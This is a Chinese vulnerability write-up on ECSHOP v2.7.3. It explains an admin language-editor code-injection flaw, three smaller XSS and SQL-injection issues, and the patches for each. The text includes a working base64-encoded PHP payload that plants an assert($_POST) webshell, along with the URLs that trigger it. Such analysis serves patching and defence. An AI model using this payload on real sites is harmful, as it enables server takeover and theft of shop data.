ecshop常见漏洞

ECSHOP 常见注入漏洞分析和修复方法


1.测试版本

v2.7.3 RELEASE 20121106(最新)
v2.7.3 RELEASE 20120411
2.漏洞条件

需登录到后台
3.漏洞利用

1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”

为什么要搜索“用户信息”,还可以搜索其它的吗?

答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以

2) 添加如下后门,将用户信息改为

用户信息

1
${${ fputs ( fopen ( base64_decode (Sm95Q2hvdS5waHA),w), base64_decode (PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}


即生成一个JoyChou.php文件,内容为:

1
2
3
4
5
assert(
$_POST [x]
);
?>



3) 访问user.php即可产生shell(不用注册登录账户)

http://localhost/ecshop_V2.7.3_UTF8_release0411/user.php

http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php

4.产生原因

在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
复制代码

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for  ( $i  = 0;  $i  count ( $_POST [ 'item_id' ]);  $i ++)
     {
         /* 语言项内容如果为空,不修改 */
         if  (trim( $_POST [ 'item_content' ][ $i ]) ==  '' )
         {
             unset( $src_items [ $i ]);
         }
         else
         {
             $_POST [ 'item_content' ][ $i ] =  str_replace ( '\\\\n' '\\n' $_POST [ 'item_content' ][ $i ]);
             /* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
                $dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen"; 
             */
             $dst_items [ $i ] =  $_POST [ 'item_id' ][ $i ] . ' = ' '"'  . $_POST [ 'item_content' ][ $i ].  '";' ;
         }
     }

复制代码

修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦

1
$_LANG [ 'label_profile' ] =  "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}" ;

由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

至于为什么可以执行?原理如下:

下面这三句话都可以执行,与其说代码执行,不如说参数执行。

1
2
3
4
5
6
$a  "${ phpinfo()}" ;   // 有一个空格
$b  "{${phpinfo()}}" // 多一对{},但是没有空格
$c  "{${fputs(fopen(" JoyChou.php ", " w+ "), " eval (\ $_POST [1]);?> ")}}" ;
$d  "asdf{${phpinfo()}}" // {字符前可以随意加字符串
?>

而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,
所以也可以代码执行。

/* 载入语言文件 */

1
require_once (ROOT_PATH .  'languages/'  . $_CFG [ 'lang' ].  '/user.php' );



5.漏洞修复

了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

修改\admin\edit_languages.php

// 修复前

1
$dst_items [ $i ] =  $_POST [ 'item_id' ][ $i ] . ' = ' '"'  . $_POST [ 'item_content' ][ $i ].  '";' ;


// 修复后,由于想在单引号之间出现单引号,必须使用转义。

1
$dst_items [ $i ] =  $_POST [ 'item_id' ][ $i ] . ' = ' '\''  . $_POST [ 'item_content' ][ $i ].  '\';' ;



再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。





Ecshop pages.lbi.php Xss漏洞,search.php注入漏洞,Ecshop version XSS漏洞
 

6.Ecshop pages.lbi.php Xss漏洞

先来分析这个漏洞的原因:

直接访问temp/compiled/pages.lbi.php时,浏览源文件,会发现如下代码:

1



显然这个form是不完全的。当构造这样的url访问时,会造成在客户端执行代码:

1
temp/compiled/pages.lbi.php/”

很显然,这个漏洞的原理就是闭合了这个form再在客户端执行javascript.

然后分析出现不闭合form的原因,打开page.lbi.php文件,可以看到如下代码

1
echo  $_SERVER [‘PHP_SELF’]; ?>” method=”get”>  if  ( $this ->_var[‘pager’][‘styleid’] == 0): ?>



这里执行$this的时候就出现错误了,,因为没有进行template的初始化。

既然找到原因了,下面给出解决办法:

打开page.lbi文件,在第二行插入如下代码:

1
if  (!defined(‘IN_ECS’)) {  die (‘Hacking attempt’); } ?>



 

7.search.php注入漏洞

search.php
大概300 源

1
if  (is_not_null( $val ) )


修改为

1
if  (is_not_null( $val ) &&  is_numeric ( $key ))


就可以了

 

8.Ecshop version XSS漏洞

打开/admin/receive.php文件中,搜索如下代码:

1
$version = $_GET [‘version’];



修改为如下代码:

1
$version =Htmlspecialchars( $_GET [‘version’]);

你可能感兴趣的:(ecshop)